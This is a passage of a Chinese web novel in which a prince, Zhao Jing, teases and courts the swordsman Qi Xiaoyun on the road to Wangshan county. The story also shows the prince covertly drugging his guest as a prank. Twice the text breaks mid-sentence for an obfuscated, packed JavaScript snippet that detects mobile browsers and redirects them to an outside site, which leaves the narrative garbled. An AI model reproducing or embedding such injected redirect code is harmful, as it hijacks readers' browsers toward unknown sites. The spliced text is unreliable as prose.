始作俑者到里间支起小桌,吩咐店家重新送上辣酪酥、咸肉干、蜜饯果子、核桃杏仁若干,倚着床榻细品佳酿,悠然自得。 忘言给暖炉补了些精碳,他腹诽哪里有人被断袖觊觎还上赶着挑衅的。以赵靖的性子,小祖宗应深觉冒犯,该叫自己带人套对方麻袋,捆到街巷里揍一顿了事。 如此想来,倒是亓骁云躲过一劫。 不过即使官家知道赵靖换了性子喜欢上美男,若不碍大事,也只会多寻几个听话的送他府上。 梦中颦眉,亓骁云喉间溢出一声闷哼。 意识在混沌与清醒间反复拉扯,朦胧中忆起错身时那眸子,似含秋水,荡漾泛波,戏谑娇嗔,心中便愈发难以平静。忽又闻冷香,比酒香萦绕更是勾人,纵情去追那抹倩影却如水中捞月,每欲揽人入怀却触之即散,幻梦近妖。 他困在其中不得章法,只觉身似浮木,在温水中跌宕起伏,难觅边岸。 亓骁云想睁眼,眼皮却重若千斤,口中苦涩泛酸,四肢百骸更是绵软无力。不知是何处的风惊动旌旗,一时火热一时凌寒。亓骁云隐隐不安,模糊光影,窸窣声响,他猛吸一口气猝然坐起,胸膛中躁动不已。 未来得及缓过眼前朦胧,忽又感身下紧绷,昏黄烛光晃晃,自己衣衫不整,亓骁云骇然,如临大敌。 好不容易召回自己归天的三魂逸散的六魄,亓骁云仔细检查,身上除去后背冷汗汩汩,都算利爽。还好还好,亵裤上仍是自己系的绳结没有松动。 地上凌乱的外衣发冠簪子,手中这方揉皱的青色帕子,他都不敢深想。这般贴身之物,自己怎会握着它? 记忆的最后赵靖一身青衣,莫非行不轨的是自己?自己醉酒轻薄了他?不不,此事绝无可能!赵靖身边侍卫众多绝对不允自己肆意行事。 不对,我本就没有欲行之事。 亓骁云一口气紧了又松,他慢慢皱起眉。这王爷,到底想干什么?那坛黄泉酿有问题?下药?不像。一来无冤无仇,二来要害他大可直接动手,他观忘言武功不在自己之下。 那是…… 他再看向手里那方揉皱的青色帕子。赵靖其实是个断袖?想戏弄他?亓骁云静坐,忽的无声笑了。王爷可要小心,别玩火自焚。 隔着云岫屏,亓骁云细数呼吸声,直到天边吐白。 忘言推门而入,让小厮轻手轻脚摆好早膳。他见亓骁云满脸疑问,故作不知,上前浅鞠一躬,低声道:“亓公子,早。” 客客气气甚至称得上有礼,明明昨日这厮还视己若无人,只对赵靖言听计从。 “早……”亓骁云装着声音干涩,目光紧紧锁住忘言,“昨日,诸位睡得甚早?” “亓公子,豪饮,不抵酒劲。”忘言垂首,语气平淡笃定,脸上无一丝破绽。想吧,小祖宗要捉弄人时最是心思活泛,无所不用其极,再麻烦也乐得亲力亲为。 只是以往都是用在气朝中的老狐狸身上,倒是头回对一名男子这般有兴致。 适时赵靖身披貂裘头戴锦帽,裹得严严实实,踱步绕过屏风,剜了一眼亓骁云,不言语。 锦帽宽大,前檐盖到眼睫,这一眼飕飕刮过亓骁云的脸面,似是嗔怒。亓骁云心神震荡,竟觉自己像个人渣负心汉,张口哑然。 看见亓骁云欲言又止,赵靖便在心里偷着乐。 4. 解衣衣我 “亓大侠可是睡得不安稳?本王观你脸色,眼泛红痕,倒像是魇着了。”赵靖神色坦然,关心起同行人。这百合甜粥用的不是鲜摘百合嫩心,他只挖一勺便不吃了。 “有劳靖王挂心,在下睡得……尚可。” 美人榻软,暖炉熏香,比之草垛棚屋宜人百倍,若非光怪陆离的梦境又岂止尚可。亓骁云观众人皆无异样,暗自思忖,总不能真是一场醉后浑梦而已。 亓骁云心中有计算,他抬起眼,装作怯生生般看向赵靖,目光触之即离。 赵靖又笑了,果然。 看来昨夜那般真是人为,不过既然未伤自己分毫,自己又有了防备,无论如何都不可能重蹈覆辙。 亓骁云心中已定起身欲走,接了赏就该尽早了结贼人性命,酒钱好落袋为安。 “莫急,亓大侠何不用了早膳再动身。那帕子,原是我贴身…随意放置的,亓大侠你拿了便不用还了。” 赵靖说得随意,仿佛只是一件无关痛痒的小事。可他快要按捺不住自己的嘴角,连忙咬一口枣蒸饼,借机掩唇,不能露馅。 说者有心听者有意,赵靖显然话里有话。亓骁云只觉软帕霎时成了烫手山芋,平白招惹上断袖王爷,怎的坊间没传过赵靖有龙阳之好,此乃重中之重! 亓骁云既担心自己的清白,又忧虑再吃下不干净的东西,只好婉拒:“在下宿醉未醒不觉饥饿,多谢靖王美意。” 话毕,咕噜声响。 一时有些尴尬,两人相视无言。亓骁云发现原来赵靖没有搽口脂,他抹去嘴角枣蓉唇色依旧莹润。亓骁云低下视线,拇指一下一下抚过那枚白玉指环。 赵靖嗤笑一声,慢条斯理咽下鸡子羹,“不知本王脸上又有何异?让亓大侠顾不上用膳,也要一刻不离盯着看。” “我非……!” 字不成句,赵靖伸出筷子点在亓骁云上唇,“食不言,算算时间也差不多了,本王先去与阮姑娘问安。” 忘言作壁上观,恭敬如常开门引路。 这江湖大侠的道心都快被小祖宗撩拨成一团乱麻了。 亓骁云僵在原地,看着赵靖施施然离去的背影,愈发觉得荒唐,荒唐!荒天下之大唐!咕噜声又适时响起,自昨日到如今,亓骁云只吃过半坛佳酿与些许佐酒小食。 罢了,木已成舟,只能走一步看一步。 腹中空空,满桌精致早膳,亓骁云无从下手。 他左打量右探究,终是端起那碗百合甜粥,料想赵靖总不会在自己的粥里放奇怪的东西。味同嚼蜡般吃了起来,多吃两口,好甜。 西平关除却裸露的山岩便是九曲流沙,此地驻守军官忽闻不远处一阵骚动,似有兵刃相接之声。 “欸,不用管。”看清了是江湖人死斗,老兵出声让新兵接着站岗便是。他望着那七八条正围攻的黑影,似是附近盘踞的恶贼。不若耗他们一耗,等那个身姿矫健的少年郎求救再出手收个渔翁之利,攒个军功。 沙雾弥漫中,那少年郎手持一柄长枪,招式沉稳,虽以一敌众,却也丝毫不落下风。只见他身法诡异,出手狠辣,招招直取要害,围攻之众反而渐渐力不从心。 亓骁云手刃关外臭名昭著的恶贼易如反掌,提了头便打算回去领赏。不料被贼人之友围剿,战至利刃稍卷,再除一人而后冲出重围。 恶贼之友也是恶贼,杀便杀了。 捡便宜的心思落空,老兵见亓骁云长枪挑着两个人头面不改色,本想与亓骁云交个好的他噤若寒蝉,此等杀神还是莫要招惹的好。 亓骁云至始至终都没指望这些军爷营弁能出手相助,何况江湖事江湖了。 客栈里众人的行囊收拾得差不多了,亓骁云踏着夕阳而归。 “幸不辱命。”亓骁云没有靠近赵靖,自己满身血气想来赵靖不喜,可怖的人头他也寻了破布裹上才进的客栈门。主雇娇气,多替他思虑些也无妨。 “亓兄果然身手不凡,一路辛苦。”赵靖换了称呼,他派人跟着亓骁云,早就知晓结果。 赵靖放下手中书卷,目光在亓骁云身上停留片刻,又转头替阮方竹斟上花茶,“忘言,带亓兄下去沐浴更衣。再备些热食,料想阮姑娘也饿了。” 阮方竹瞥了眼骇人的布包便知恶贼伏诛,婉拒道还是等等亓大哥,一起用膳。 忘言应声上前,亓骁云略一点头,算是谢过,转身跟着忘言向外走去。 他能听到背后赵靖在嘘寒问暖,两人似是相谈甚欢。不知为何,他有些烦闷,阮姑娘和赵靖聊这般久作甚。等等,莫非赵靖原本是要把药用在阮姑娘身上?可又不太像,赵靖也不似急色之徒。 藏青这个走方郎中什么都好,起沉疴治怪疾,能续病者命,就是常常迷路,不然也不会和阮姑娘约在望山县相见,他先来找阮姑娘,时刻在身边陪着多好。 若是自己的心上人,亓骁云定然会寸步不离守着,日日见,时时见,才好。 温热的水漫过肩头,洗去一身的血污与疲惫,亓骁云闭目靠在浴桶边缘,鼻尖萦绕着淡淡香气,想来赵靖每日都用不同的皂角香珠沐浴,贵价的物什,果然好闻。他换上忘言送来的干净衣物,虽非自己惯常穿着的劲装,倒也舒适合身。 桌上的菜肴精致可口,甜咸荤素皆有,温煮的葡萄饮虽比不得黄泉酿,却也叫人暖意渐生。但是亓骁云吃得兴味索然。 席间,赵靖总在和阮方竹搭话,多是些沿途见闻或是风土人情。 明明阮姑娘只偶尔应答,言语间还带着几分疏离,他却置若罔闻,好似阮姑娘搭理一二便心满意足,自己闯荡江湖多年更是了解这些奇闻异事。 察觉自己没来由生出的奇怪情绪,亓骁云眉间紧皱。这该是好事,阮姑娘英姿飒爽,赵靖倾心也没什么不妥,更能佐证赵靖并非断袖,昨夜那番光景不过误会一场。 不对,阮姑娘早已心有所属,赵靖分明是在横插一脚。想通了个中关窍,亓骁云便不再只顾低头吃饭。 “靖王。” 赵靖眨眨眼,示意亓骁云有话就说。 可四目相对时,亓骁云忽然发觉自己好像不知道该说些什么。他只好举起酒杯道谢,说方才给的赏金实在太多了。 “无妨,亓兄为百姓除去此等祸害,这点银钱算不得什么。”赵靖端起自己面前的葡萄饮,与亓骁云遥遥一碰,“本王这身衣衫,倒是与亓兄相衬。” 那件玄色直身穿在亓骁云身上,肩线被撑得平直利落,毫无余褶。他动作间拉起外袍露出腰侧,一道流畅收窄的弧线,转瞬又不见,引人遐思。 赵靖早就看亓骁云的穿衣不满,可算叫他找着机会装扮一番,跟在自己身边的人,可不能稍显半分落魄。 大袖宽衫虽飘逸洒脱,但并不适合亓骁云,会显累赘。赵靖已经在脑海里替人家搭衣选衫,思索要吩咐属下去寻一件厚实褡护,鸦青、绛色这类沉一些的比较适合亓骁云。 解衣衣我,推食食我。赵靖觉得自己此番赠衣,当是定交之始。 “……”亓骁云摩挲着袖口纹路,他觉得赵靖若有若无的目光,像羽毛般轻轻搔刮着脊背,自己莫名有些,坐立难安。 亓骁云能感觉到赵靖的示好,赵靖为了收买人心,对谁都这般热络吗? 闻言阮方竹秀眉微蹙,她总觉得赵靖看亓大哥的眼神有些异样,不似看寻常江湖侠士,倒像……像是在欣赏一件有趣的玩物。 她看向亓骁云,却不见愠色,平日里坦荡磊落,今日却屡屡在赵靖面前显得有些局促,实在反常。这二人怎么都古古怪怪的。 穷乡僻野也不知赵靖哪里寻来的马车,銮铃清脆,马匹额面还都佩了错金银的当卢,轿内软垫毛毯汤婆子一应俱全。 阮方竹暗叹不亏是跋扈乖张的王爷,一路游山玩水虽未曾兴师动众,但也不知耗费多少国库银两,又有多少本可以用之于民。罢了,父兄避世,政事她亦不愿过多思索,总归还算太平时日。 “亓兄。”赵靖悠悠开口,望向不愿进轿坚持骑马同行的亓骁云。 “靖王有何吩咐?”目不斜视,亓骁云连轿子都不近一分,只朗声回应。 “外头风寒,夜深露重,你不愿与本王挤一挤便罢,可要多拿件皮大氅。” “……多谢靖王,习武之人不惧风霜,不必了。”亓骁云说完一夹马腹快行几步,拉开距离。他不想接过那件带着赵靖体温的大氅,总觉得,自己不应该再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281193|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近这断袖。 退一万步说,即便知道不可能,可万一真是自己酒后失仪,那无论赵靖要打要骂,他都巍然不动。可赵靖总是含糊其词引人遐想,他想问个清楚好求个心静,但每每对上那双含笑的眸子,话到嘴边又咽了回去。 罢了,就怕赵靖顺势承认了龙阳之好,自己更是进退维谷。 真是奇也怪也,哪怕思及可能是赵靖在恶意戏弄自己找乐子,亓骁云却发现自己好像也不怎么生气,难不成何时中了蛊毒不成。 所思难解,月光如水,洒在官道上远远望去像是飘起了细雪。 客栈的掌柜与小厮一路随行,笑意盈盈相送直到村口,车马走远了仍乐呵呵目送。这一人的买卖都快抵得上三年的利银,见了财神爷谁人不欢喜啊。 “这乞儿怎的又来?定是你招惹的。”掌柜一进门看见堂前角落那灰扑扑的小子又来乞食,断言是小厮心软接济过,“算了,本掌柜近来心情大好,你赶紧去处理干净。” 昭国已经连着两年减少税目,即便在寒冬时节,各地无家可归的可怜人也比往年少了许多。 小厮连忙称是,拉过小乞儿便去后巷。 “你怎的又找来了?上次便说过店中剩饭咱们都不够分,舍你一回已是发了大慈悲。” 小乞儿先是点点头,又赫然摇头摆手,声音细若蚊蚋:“我不是乞食,我有钱去找爹娘了!虽,虽然只有十几文。我是来找你道谢的,谢谢你!” 小厮一时也不知道说些什么,这乞儿多半是家中养不起被丢在这的,活过几个年头不容易,那点钱他能活着走到望山县就算老天爷眷顾。可天寒地冻的,他不想再多管闲事,应和一两句便回去,只是到底提醒小子一句别随意透露他自己有钱。 “我知道的!”小子动动脚趾,他换来了一双旧布鞋,能塞干草和他攒起来的鸡毛,再也不是那日冲到贵人前的漏风烂鞋,露出难看的冻疮。 其实他藏在树上好几块杂碎的银子,都是那天仙般的贵人给的。每每夜深人静时,他都悄悄去看,只要摸到了就能在墙角柴堆里安心睡个好觉。他还特意去谢过默许自己睡在那里的老叟,即使对方说并不认识他。 车马走上大半日便能到望山县,城门处有茶摊。 “……听说没?县里那位又盖了新园子。” “哪个?” “还有哪个?陶大人呗!” “啧,一个知县,一年俸禄才多少?” “你甭管,人家园子盖了一座又一座。上回进县里,我亲眼瞧见他家下人抬着七八个箱子进门,那箱子沉得,四个人抬都费劲。” “抬的什么?可曾有美娇娘?” “谁知道有没有呢?嘿嘿,反正不是石头。” 笑过几声,几人又啃起炊饼。 知县陶承允天还未亮就早早候在城门附近,搭了个暖棚。到底还是冷,他抽抽鼻子已是不耐烦,面上不显,只差府衙去前头探听靖王的尊驾有个影子没。 “陶大人,辛大人,可要来碗姜茶暖身子?”刘澹予好意搭话,揣手对着官道望眼欲穿,“我爹也是年纪大了,一到冬日就爱煮驱寒汤。还要我带出门,还热乎呢!” “……不必,替我向令尊问好。”陶承允年三十七,自诩正值壮年就被这刘家小子比作六十老儿,心下不喜。 “一定一定。” 县丞辛闱呵呵笑着,双手接过,直言刘公子与夫人琴瑟和鸣,他孤身一人可是羡慕得紧。 刘澹予虽有秀才学识,但却是个不太会说话的。刘家本是个没落户,在望山县都难排得上号,但不知是走了什么运,刘澹予被知州的亲侄女姜楹看上,知州膝下无女,对姜楹宠爱得很。 小门小户高攀贵女,一人得道全家富庶,因而知县也要给三分薄面。 听闻靖王亲临,刘家更是主动请缨让出自家新筑府邸。虽说望山县已是安平州第二大的城池,可终归离中都相隔千百里,莫说能与靖王结交一二,混个脸熟都是天大的喜事。 这不,今日姜楹也来了,正细抿刘澹予替她斟的姜枣茶。 銮铃当当声入耳,府衙十指通红,跑回来掀开暖帘,吐着白气连声道:“大人!来了!” 5. 不准离开 众人闻言速速起身正衣冠,快步至城门处行礼躬身相迎。 “恭迎殿下大驾!一方弹丸小县能有幸得殿下亲临,当真是蓬荜生辉!”说罢陶承允带着一众属官就要跪拜。礼数不怕多如麻,就怕少一丝。 “免了。”赵靖沉声免礼,他更想说没事赶紧滚。 亓骁云默默退居人后,此等奉迎的戏码叫他看了牙酸。 忘言下马伸手挑起一角门帘,陶承允被辛闱虚虚扶起,他赶忙上前倾耳,“殿下有何吩咐?我等盼着殿下已久,城中诸事皆已备妥,只待殿下示下。” “聒噪。”赵靖已在盘算能不能明日就离开,他也没打算行事高调,哪知这县令得了消息还是如此兴师动众。被他们缠上了,想要自在逛一会街巷都做不到。 “本王不喜喧闹,散了。” 乌泱泱的一群人净整些没用的虚礼,只会让他在大街上被当猴观赏,不如早些引路,去落脚的府邸歇歇腰骨来得称心。唉,果然还是不应听兄长的话,什么望山县是个好地方,他去了就知道了。又道去程劳累,回时要叫地方官好生招待。 这些人招待再周全也没用,沾染上半分政事都免不了虚与委蛇。 陶承允热络的笑容只僵了半刻,正要遣散众人。不知情的刘澹予被自家夫人轻轻杵了一肘子,走了两步探出脑袋朝轿子里张望,憨气十足。 “殿下!外头风寒,殿下舟车劳顿定是累了,我知道一条捷径去往府邸,那路大半还背风……” “胡闹!殿下怎能走小道!” “带路。”赵靖总算听到句人话,直接无视还在啰嗦酒楼里摆了接风宴的知县,他见还有女眷,“这是你夫人?如若不弃可入轿避风寒,阮家姑娘也在轿上。” 阮家?能得靖王照拂的阮氏也无他人了,姜楹眼中闪过精光,没想到还有意外之喜。 默不出声的阮方竹可就不高兴了,她答应同行一程,可赵靖没告诉她行事如此张扬,原以为赵靖会一直不显身份游山玩水。同样没兴致的还有队伍稍后的亓骁云,见众人如此谄媚,他只觉浑身不自在。 一个个点头哈腰,这般摇尾乞怜的模样,真是可怜。 “见过殿下,殿下万安。妾曾与阮姑娘有过一面之缘。”姜楹走到刘澹予身侧,随手替他理了理鬓发,“不过那已是儿时旧事,如今怕是相见也认不得了。” 摸到自家夫人手凉,刘澹予说着叨扰立马扶姜楹上暖轿,他一跳坐到了驾驶位,自然而然拿过缰绳。 “殿下放心!我驾车定不叫殿下感到一丝颠簸。” “殿下可别让他牵缰绳!”姜楹低声解释自家夫君善御不假,可总是喜欢跑到郊外飘移过巷策马飞渡,决计不能让他在百姓众多的城内碰车马。 忘言默默坐到轿前,从刘澹予手里抽出缰绳。 “本王亦善御马!来日有机会定与刘公子切磋一番。”赵靖想这知州姜涉川找的侄女婿倒是个纯真儿郎。 听姜楹说自己刘澹予也不恼,搓搓手也跟着赵靖朗声笑。他心想靖王可不一定能赢自己,这附近十数里的路况他熟得很,来日藏锋让一让靖王罢。 阮方竹看见这对夫妻恩爱非常,才稍稍放下戒心。来日自己与藏青修成正果,是不是也这般亲密无间。不对,我想什么呢,藏青可还没正式表露过他的心迹。 “这可是瑞云?”姜楹低眉许久,遥看着阮方竹圆领袍的刺绣发问,“我平日里常侍弄花草才识得一二,但垂丝菊品貌繁多,却是辨不清。” 阮方竹点头,朝姜楹挪动膝盖,露出前裆遮盖的靴子,说鞋靴上缘亦绣了菊花,黑色丝线勾勒的图形并不显眼,动起来光线变化才能看清花形昳丽。 姜楹欣喜,邀阮姑娘去她小院赏花,道望山县多喜以菊花酿酒,又让靖王莫怪聊起女儿家的闺阁话。 赵靖靠在一旁挥挥手不在意。妆容服饰他无一不晓,连亓骁云这般姿色平平的,他都能替他搭数身相衬衣衫。但到底与二位相识不久,他还是懒得搭话。 支开半边窗,这断袖大侠不知又被哪个精壮大汉吸引了去,扭头痴痴凝望街角啷啷当当的打铁铺,连马都快要走偏了路。 勒绳回身,亓骁云见赵靖目不转睛打量自己,末了勾唇一笑,而后合上窗。 “……”怪哉,难不成自己是在鬼市里撞了邪,亓骁云两指腹压下自己嘴角,怎么还跟着赵靖挂上笑意。 听闻自家夫人与人交谈,刘澹予便也起了兴致侧耳听着,时不时插句嘴,从望山县的风土人情,岁稔年丰说到市井趣闻。谈话间不多时便到了特意修葺过的刘家府邸,地处城中腹地却也清幽。 进府落座,刘澹予问及房间安排,视线落在亓骁云与阮方竹身上,此二人是靖王宾客。 “多谢刘公子美意,在下一介江湖客自有去处,再留下叨扰靖王与诸位,实在于心不安。”亓骁云抱拳作揖,语气坚决。 赵靖虽于己多有关照,可终究不是一路人,实在没必要日日同在屋檐下。 至于那晚之事他还是先记在心上,来日有机会再探明不迟。不清不楚也行,细细想来自己也没什么损失。 “我亦与亓大哥一道离去,多谢靖王连日照拂。”阮方竹闻言,也起身附和。她本就对官府之事敬而远之,如今正好顺水推舟,“我与亓大哥约了旧识,原来便是要在望山县一聚,改日再携礼登门,拜谢靖王。” 赵靖可没打算让亓骁云轻易脱身,既然白玉指环这一信物在,那就表明亓骁云娘亲还是存了让他认祖归宗的心思。况且阮方竹一走了之,自己可没这么好的机会搭上阮家。 他呷了口茶慢悠悠开口,“既与二位友人有约在先,本王自当应许。可天涯同行便是缘分,这刘府客房也算宽敞,不若把友人也邀来,两全其美。” 不待二人开口,赵靖又看向亓骁云:“本王还欲向亓兄讨教几招武功,不如与本王同住一院,省得来回走动。” 姜楹见状柔声附和:“人多也热闹些。刘府虽不是雕梁画栋,但也清净雅致,二位与友人暂居定是能住得舒心。” “这大冷天的,外面客栈哪有家里暖和!”刘澹予哈哈笑,手一挥说望山县中所有酒楼客栈他都光顾过,还是住家里来得自在,又道客院万事齐备,莫再推辞。 盛情难却,阮方竹只好应承。她特意拜托姜楹遣人去接,不然藏青迷途旬日也不是不可能。他来晚了,辣子馕饼可要不好吃了。 亓骁云本就不甚坚决的去意,赵靖一挽留他便不再推辞。 可他看着面前那两人,赵靖侧着头,不知在说什么,阮方竹偶尔点一下头。他的玉环在指根处微微转动,一会儿向左,一会儿向右,没有方向。 赵靖是想拉拢阮家才会对阮姑娘关怀备至吧,亓骁云连日看着,赵靖虽刻意示好,但他却觉得,眼睛骗不了人。赵靖看自己时眼底藏不住的笑意,和看阮姑娘时不一样。 连他这个江湖人都知道,阮氏虽归隐,但门生遍天下。若能攀上这门亲,罢了,亓骁云摇了摇头,不想掺和这些事。 但他心里总有一点说不清道不明的烦闷,怎么也甩不掉。 赵靖把玩着一枚雕刻桃枝缠绕的碧绿玉佩,暖玉温润。他看亓骁云眉头微蹙,又似吞吞吐吐,这副神情每每自己与阮方竹套亲近时便会出现。 嘶,这断袖大侠莫不是……在吃味? 赵靖心头微动,又或许其实亓骁云在意的是阮方竹?暗中对比,赵靖得出结论,虽然阮方竹眉如远山,身姿挺秀,但是论样貌论家世总归是自己更胜一筹。 赵靖沉下目光,若亓骁云朝秦暮楚,短短时日便见异思迁,那可真是,没品至极。 人才坐下没多久,辛闱就带着数箱心意前来,脸上堆着笑,姿态十分恭敬,道此乃陶大人与望山县众士绅的些许敬礼,万望靖王殿下莫嫌弃。 赵靖瞥了一眼那些箱子,并未细看,只淡淡说句知道了。 辛闱见靖王并未拒绝,心中稍安,简短说一两句场面话,就躬身告退。箱中之礼,远超一小小知县的俸禄,他又特意放了名画赝品,期望靖王能从中发现些许端倪。 赵靖让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281194|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘言去查看,左右不过俗物。 余焰沿着云的边缘流淌,金红,橘赭,再到紫灰,一层一层洇开,把半边天染得像泼了彩的绢帛。 安顿下来以后人就不想动弹,赵靖推了所有宴请只想耳根清净些,一直到夕阳沉落屋脊后头,他也不出院子。 主院陈设雅致,正屋是赵靖的居所,左右两间耳房相仿,都铺上了厚厚的地毯,燃着取暖的炭盆,室内不见寒意。亓骁云选了左边那间,一进门便仔细检查了一番,门窗完好,屋内无异样,确认无误后,他才坐在床边构思如何锻造一些新器物,不能回回食饮都花赵靖的钱。 街角那间打铁铺火炉倒是烧得旺,若能借来使使,亦是极好。 赵靖搓磨着指甲,一问忘言武功比之亓骁云如何,二问可还有那日的奇药。 小祖宗还没放过可怜的亓骁云,忘言在心里替他默默哀悼一秒,而后认真答道,若决生死自己定占上风,若要生擒暗卫众多轮番耗他亦可;至于奇药,确实还有,官家说过“他常常一时心软,若是悔了还有机会,带去的物什全都多备上几份”。 ……兄长真是思虑周全,赵靖扶额嘴角噙笑,还是这般了解自己。 此处亦飘起鹅毛细雪,姣姣明月当空,他有些想家了。 “雪下得这么大,你不必亲自来。”赵珩放下朱笔,牵起皇后的手让她坐到自己身侧,又望向福喜示意续上香炉。他与周柔相识微末,早早定情,若非周氏鼎力相助,他还未必能坐上帝位。 “陛下才是要保重龙体,这折子今日非批完不可吗?” 周柔语带娇嗔,赵珩温柔笑笑,揽过妻子说道:“折子哪有皇后亲手炖的莲子羹重要,眼下万事莫来扰,喝碗甜汤才是头等大事。” 夫妻和睦,笑语声声,鸾凤和鸣。 “这莲子羹,说来子安也是爱吃的,他留书一封便去周游了,也不知何时归来。”子平子安分别是赵珩赵靖的表字。 “他呀,不惹麻烦就行。”赵珩放下玉碗,笑意淡了几分。 旁人瞧见多半觉得谈及赵靖让他不喜,可赵珩实际在想宫中留给赵靖的院子该遣人去扫洗一番了,虽然留他在宫中歇息,也多半赖在自己屋里不走。 “靖王聪慧洒脱,能惹什么麻烦。” “皇后可别给他说好话。夜深了,朕批完这几份便歇息,皇后也早些安置。” 周柔知他性子,不再多劝,只细心替赵珩掖了掖御案上的素色绒毯,又将暖炉往他手边推了推,这才带着宫女轻手轻脚地退出去。 陛下近来久居暖室,这香,愈发浓了。 周柔吩咐贴身侍女去给赵昀屋里添个暖炉,末了还是忧心儿子年幼,怕下人照顾不周容易着凉,决定改道亲自去照看一番。 殿内重归寂静,只余下烛火偶尔发出的噼啪轻响,和赵珩批阅奏折时朱笔划过的沙沙声。 工部已去巡检天下河防。户部核验常平仓廪,所缺几何,亦需早日补足。算算时日脚程,赵靖回程也该到望安县了。小果,莫怪为兄推你进泥潭,这些事,你迟早要能独当一面。 窗外的雪越下越密,很快把凌乱的脚印覆盖,重归洁白。 亓骁云又检查了一下门窗,他有些担心,担心两眼一闭又会有谁借着夜色欲行不轨。 他的预感不无道理。 “叫人布置亭子,煮酒煎茶,药留着下次使。” 赵靖挑挑拣拣,替自己选了一身月白色长袍,取一缕颊边发编成小辫,坠上赤色琉璃珠,再挽起长发。 院中灯笼次第亮起,透过窗棂映出亓骁云复杂的神情,偶有侍从交谈的轻声传入。赵靖娇气得很,连坐在轿子里也嫌累得慌,现下怎又有闲情逸致冒着冷风赏月,那副身板也不怕染上风寒。 冬日里头昏脑热沾上咳疾,最是难受。 担心他作甚,他身边多的是人照顾,亓骁云摇摇头便打算就寝。即使酒香扑鼻深入肺腑,他也绝不靠近断袖王爷,就当熏着酒香入眠。 “亓兄,本王一来你便吹灯,是何道理?” 6. 月下夜饮 赵靖半点没有自己可能扰人清梦的自觉,拿鞋尖敲门,“酒已温好,一人独酌,甚是无趣呐。” 他真的来了,亓骁云扯过被子蒙上脸,不去听赵靖带着慵懒笑意的声音,一言不发开始装睡。 “亓兄?骁云?” 叫什么都不能应声,望山县里男女老少多的是人排着队想要和赵靖月下对饮,不缺他一个。亓骁云双眼紧闭呼吸均匀,催促自己赶紧入眠。 “难道真歇下了?”赵靖侧头,忘言便吩咐侍女去拿耳房钥匙。 外头没有什么声响,亓骁云正欲翻个身好去见周公,却听得咔哒一声轻响,他猛地睁眼。 只见赵靖身披大氅手里正转着铜钥匙,语气坦荡,“亓兄,长夜漫漫本王邀你共饮,你屋里如此沉闷。本王忧心你孤身一人,万一晕倒了也无人搭把手,特来查看一二。” “靖王多虑。”亓骁云实在是没脾气了,自觉起身穿戴鞋袜,“稍待片刻,我披件外衣就来。” 天老爷着实偏心,造出这么一副叫人心软的皮囊。抛开其他不谈,赵靖满脸笑意他就怒不起来,被一个断袖缠上了当真是劫数。 既来之则安之,亓骁云心想说不定多看看这张脸,习惯了便难有波动。 院中那座四角亭子悬挂毡帘,亭内早已设下矮几,温着的酒正冒着袅袅热气,旁边还放着几碟精致的小菜。炭火盆烧得正旺,驱散夜的寒凉。 “坐。”赵靖倚在靠栏上,视线上挑端详亓骁云。 “谢靖王。”侍女为二位斟酒,亓骁云接过温热的杯盏没有立刻饮下。 他看着赵靖,这位靖王殿下今夜似乎与白日里那副不耐应酬的困乏模样有些不同,少了几分疏离,多了些许……说不清道不明的意味。 不好!此番难道这熏炉就有蹊跷?闻着香就中计了? “唉——亓兄又是这般如临大敌的模样,倒叫本王心寒。”赵靖心想同一招连用两次哪有意思,他摆出些神伤姿态,“本王向来喜爱游历万千好河山,对闯荡江湖亦是心生向往,得遇亓兄,欲交个朋友竟也如此难。” 赵靖端起自己的酒杯,浅酌一口,目光落在亓骁云脸上,又拉回,似是无可奈何。 “本王久居中都,又时常入宫伴君,行事规矩才能避得言官驳斥,无趣得很,大抵很难入亓兄的眼。” “不敢。”亓骁云垂下眼帘,“靖王身份尊贵,在下只是一介草民,高攀不起。” 出门时饮了醒酒药,解毒丸也吃下一粒,左右臂缚都藏了飞刀,应当无事。亓骁云举杯欲饮,若赵靖当真赤诚相待,他亦非不愿结交一番。 君子之交自当坦然。 这回亓骁云想喝,却被赵靖夺过杯子喝下了。 “众人皆艳羡我生在帝王家,可从不知……罢了,与你说这些做什么。”赵靖神情有些迷离,忆起儿时在村野一家人的无拘无束,“久在樊笼怕是已不会交友。亓骁云,我对你无所图,不必如此防备,你若想离去,明日自便。” 月色清清泠泠,忽然飘起了细雪。赵靖眼里落寞,他伸手接住一片,那雪落在掌心转瞬便化了,来时无声去也无踪。 借着动作,赵靖看向侍女,她那目光猝然从自己身上收回,虽快,可还是被他揪住了。拙劣的探子,赵靖心下了然。 小小刘府,先是县丞送来千金重礼,后又有安插的眼线。甫一亮出身份,这些蝇蚋便迫不及待沾上来了。 亓骁云看着那张在月色下愈发好看的脸。他知道这人对相识不久的自己袒露心中郁郁,如此说辞定是别有用意。堂堂靖王,哪里会被一句不敢高攀伤到。 但他没有戳破,甚至端起酒杯自己斟满,配合着演了下去。亓骁云想知道,这些话里,对自己,有多少真情实意。 “是我多心,也不会说话。”亓骁云起身,举酒郑重道,“我走江湖独来独往惯了,靖王莫嫌。能得靖王这般天人之姿的好友,高兴还来不及。” 说罢仰头饮尽杯中酒,还要自罚两杯。酒里没了菊花的清苦,已然被酿成了凉沁沁的甘甜。 赵靖眼中闪过一丝狡黠笑意,旋即隐去,他按住亓骁云手腕,“酒烈,亓兄慢些喝,可别又一睡一日。” 